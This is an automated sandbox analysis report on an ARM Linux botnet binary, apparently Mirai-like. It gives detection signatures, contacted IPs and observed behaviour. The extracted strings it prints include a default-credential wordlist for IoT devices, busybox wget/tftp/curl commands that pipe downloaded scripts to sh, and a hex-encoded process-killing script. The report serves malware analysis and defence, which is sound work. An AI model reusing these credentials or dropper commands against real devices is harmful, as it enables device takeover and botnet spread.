Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1544415
MD5: 5a721ad1f7308df4f64707013a32a5ac
SHA1: dca2920477f414865f04f9f3c834c25e1c0aaf55
SHA256: 494d81beea4415898ddabc02dfa7ab9a44208fc624a995141257f3fdeb3d4ee4
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 154.205.128.136 ports 1,5,7,8,9,15987
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:43084 -> 154.205.128.136:15987
Sample listens on a socket
Source: /tmp/la.bot.arm.elf (PID: 6210) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 135.158.24.210
Source: unknown TCP traffic detected without corresponding DNS query: 135.158.24.210
Source: unknown TCP traffic detected without corresponding DNS query: 204.170.186.20
Source: unknown TCP traffic detected without corresponding DNS query: 54.252.160.152
Source: unknown TCP traffic detected without corresponding DNS query: 204.170.186.20
Source: unknown TCP traffic detected without corresponding DNS query: 104.181.230.139
Source: unknown TCP traffic detected without corresponding DNS query: 54.252.160.152
Source: unknown TCP traffic detected without corresponding DNS query: 163.83.31.151
Source: unknown TCP traffic detected without corresponding DNS query: 104.181.230.139
Source: unknown TCP traffic detected without corresponding DNS query: 163.83.31.151
Source: unknown TCP traffic detected without corresponding DNS query: 170.226.213.219
Source: unknown TCP traffic detected without corresponding DNS query: 205.187.81.76
Source: unknown TCP traffic detected without corresponding DNS query: 170.226.213.219
Source: unknown TCP traffic detected without corresponding DNS query: 205.187.81.76
Source: unknown TCP traffic detected without corresponding DNS query: 205.7.58.23
Source: unknown TCP traffic detected without corresponding DNS query: 155.235.31.159
Source: unknown TCP traffic detected without corresponding DNS query: 205.7.58.23
Source: unknown TCP traffic detected without corresponding DNS query: 177.116.68.9
Source: unknown TCP traffic detected without corresponding DNS query: 155.235.31.159
Source: unknown TCP traffic detected without corresponding DNS query: 38.4.31.149
Source: unknown TCP traffic detected without corresponding DNS query: 177.116.68.9
Source: unknown TCP traffic detected without corresponding DNS query: 132.140.130.121
Source: unknown TCP traffic detected without corresponding DNS query: 38.4.31.149
Source: unknown TCP traffic detected without corresponding DNS query: 19.90.197.144
Source: unknown TCP traffic detected without corresponding DNS query: 185.178.197.99
Source: unknown TCP traffic detected without corresponding DNS query: 132.140.130.121
Source: unknown TCP traffic detected without corresponding DNS query: 188.34.117.12
Source: unknown TCP traffic detected without corresponding DNS query: 19.90.197.144
Source: unknown TCP traffic detected without corresponding DNS query: 185.178.197.99
Source: unknown TCP traffic detected without corresponding DNS query: 186.31.57.11
Source: unknown TCP traffic detected without corresponding DNS query: 188.34.117.12
Source: unknown TCP traffic detected without corresponding DNS query: 142.27.166.143
Source: unknown TCP traffic detected without corresponding DNS query: 37.225.7.92
Source: unknown TCP traffic detected without corresponding DNS query: 186.31.57.11
Source: unknown TCP traffic detected without corresponding DNS query: 112.186.222.203
Source: unknown TCP traffic detected without corresponding DNS query: 142.27.166.143
Source: unknown TCP traffic detected without corresponding DNS query: 37.225.7.92
Source: unknown TCP traffic detected without corresponding DNS query: 118.187.236.161
Source: unknown TCP traffic detected without corresponding DNS query: 112.186.222.203
Source: unknown TCP traffic detected without corresponding DNS query: 66.121.154.106
Source: unknown TCP traffic detected without corresponding DNS query: 118.187.236.161
Source: unknown TCP traffic detected without corresponding DNS query: 124.66.83.130
Source: unknown TCP traffic detected without corresponding DNS query: 66.121.154.106
Source: unknown TCP traffic detected without corresponding DNS query: 113.207.144.80
Source: unknown TCP traffic detected without corresponding DNS query: 124.66.83.130
Source: unknown TCP traffic detected without corresponding DNS query: 83.77.87.161
Source: unknown TCP traffic detected without corresponding DNS query: 113.207.144.80
Source: unknown TCP traffic detected without corresponding DNS query: 160.215.245.3
Source: unknown TCP traffic detected without corresponding DNS query: 83.77.87.161
Source: unknown TCP traffic detected without corresponding DNS query: 166.24.167.19
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm.elf (PID: 6212) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@1/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm.elf (PID: 6214) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6214) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 6212) File opened: /proc/82/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm.elf (PID: 6214) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm.elf (PID: 6210) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 6210.1.00007ffce4717000.00007ffce4738000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 6210.1.0000563d62ab6000.0000563d62c04000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 6210.1.00007ffce4717000.00007ffce4738000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm.elf, 6210.1.0000563d62ab6000.0000563d62c04000.rw-.sdmp Binary or memory string: b=V!/etc/qemu-binfmt/arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
173.173.125.122
 unknown United States
11427 TWC-11427-TEXASUS false
101.220.124.141
 unknown India
58519 CHINATELECOM-CTCLOUDCloudComputingCorporationCN false
170.96.172.81
 unknown United States
18980 PEACEHEALTHUS false
62.234.36.107
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
200.146.254.165
 unknown Brazil
16735 ALGARTELECOMSABR false
92.120.23.173
 unknown Netherlands
60142 NXP-INTERNETNL false
157.250.56.79
 unknown United States
53306 OUTSCALE-INCUS false
9.157.59.236
 unknown United States
3356 LEVEL3US false
51.62.105.248
 unknown United Kingdom
2686 ATGS-MMD-ASUS false
170.52.186.211
 unknown United States
16863 HOMESCUS false
138.242.207.54
 unknown United States
17916 CSC-IGN-AUNZ-APComputerSciencesCorporationAU false
21.232.119.219
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
176.104.79.124
 unknown Spain
12479 UNI2-ASES false
72.83.254.140
 unknown United States
701 UUNETUS false
43.132.149.82
 unknown Japan 4249 LILLY-ASUS false
130.28.135.237
 unknown Sweden
367 DNIC-ASBLK-00306-00371US false
198.82.104.88
 unknown United States
1312 VA-TECH-ASUS false
78.216.203.198
 unknown France
12322 PROXADFR false
60.23.147.69
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
12.43.209.191
 unknown United States
7018 ATT-INTERNET4US false
129.181.41.99
 unknown France
3215 FranceTelecom-OrangeFR false
211.146.220.91
 unknown China
7641 CHINABTNChinaBroadcastingTVNetCN false
135.215.155.242
 unknown United States
797 AMERITECH-ASUS false
206.46.200.98
 unknown United States
7021 VRIS-7021US false
179.22.237.255
 unknown Venezuela
26615 TIMSABR false
79.173.56.192
 unknown Poland
39834 TESAT-ASPL false
104.16.55.19
 unknown United States
13335 CLOUDFLARENETUS false
12.231.247.80
 unknown United States
7018 ATT-INTERNET4US false
108.253.5.20
 unknown United States
7018 ATT-INTERNET4US false
209.18.71.191
 unknown United States
14492 DATAPIPEUS false
31.121.108.110
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
140.37.195.157
 unknown United States
668 DNIC-AS-00668US false
93.89.54.157
 unknown Italy
20811 BRENNERCOM-ASIT false
217.70.169.107
 unknown Germany
16024 GELSEN-NETAmBugapark1cDE false
69.194.228.59
 unknown United States
33494 IHNETUS false
41.169.97.153
 unknown South Africa
36937 Neotel-ASZA false
68.220.98.221
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
26.82.137.14
 unknown United States
7922 COMCAST-7922US false
139.104.26.150
 unknown United States
3246 TDCSONGTele2BusinessTDCSwedenSE false
92.151.31.55
 unknown France
3215 FranceTelecom-OrangeFR false
30.184.67.9
 unknown United States
7922 COMCAST-7922US false
201.250.188.9
 unknown Argentina
22927 TelefonicadeArgentinaAR false
110.243.27.177
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
132.50.201.207
 unknown United States
385 AFCONC-BLOCK1-ASUS false
9.185.189.253
 unknown United States
3356 LEVEL3US false
173.113.78.95
 unknown United States
10507 SPCSUS false
89.239.186.151
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
143.35.80.94
 unknown United States
11003 PANDGUS false
38.143.204.166
 unknown United States
35913 DEDIPATH-LLCUS false
108.111.125.143
 unknown United States
10507 SPCSUS false
74.173.120.138
 unknown United States
7018 ATT-INTERNET4US false
173.18.112.52
 unknown United States
30036 MEDIACOM-ENTERPRISE-BUSINESSUS false
50.111.147.137
 unknown United States
5650 FRONTIER-FRTRUS false
52.165.36.104
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
51.146.175.43
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
4.76.149.179
 unknown United States
3356 LEVEL3US false
111.168.171.161
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
8.145.196.104
 unknown Singapore
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
95.251.227.179
 unknown Italy
3269 ASN-IBSNAZIT false
19.230.158.35
 unknown United States
3 MIT-GATEWAYSUS false
147.31.47.244
 unknown United States
33287 COMCAST-33287US false
103.20.45.120
 unknown China
134700 SINOYCLOUD-AS-APSinoycloudLimitedHK false
78.106.243.161
 unknown Russian Federation
8402 CORBINA-ASOJSCVimpelcomRU false
70.165.166.152
 unknown United States
62957 HOSPITALITY-NETWORKUS false
152.166.49.62
 unknown Dominican Republic
28118 ALTICEDOMINICANASADO false
58.29.139.76
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
113.2.82.29
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
42.11.34.207
 unknown Korea Republic of
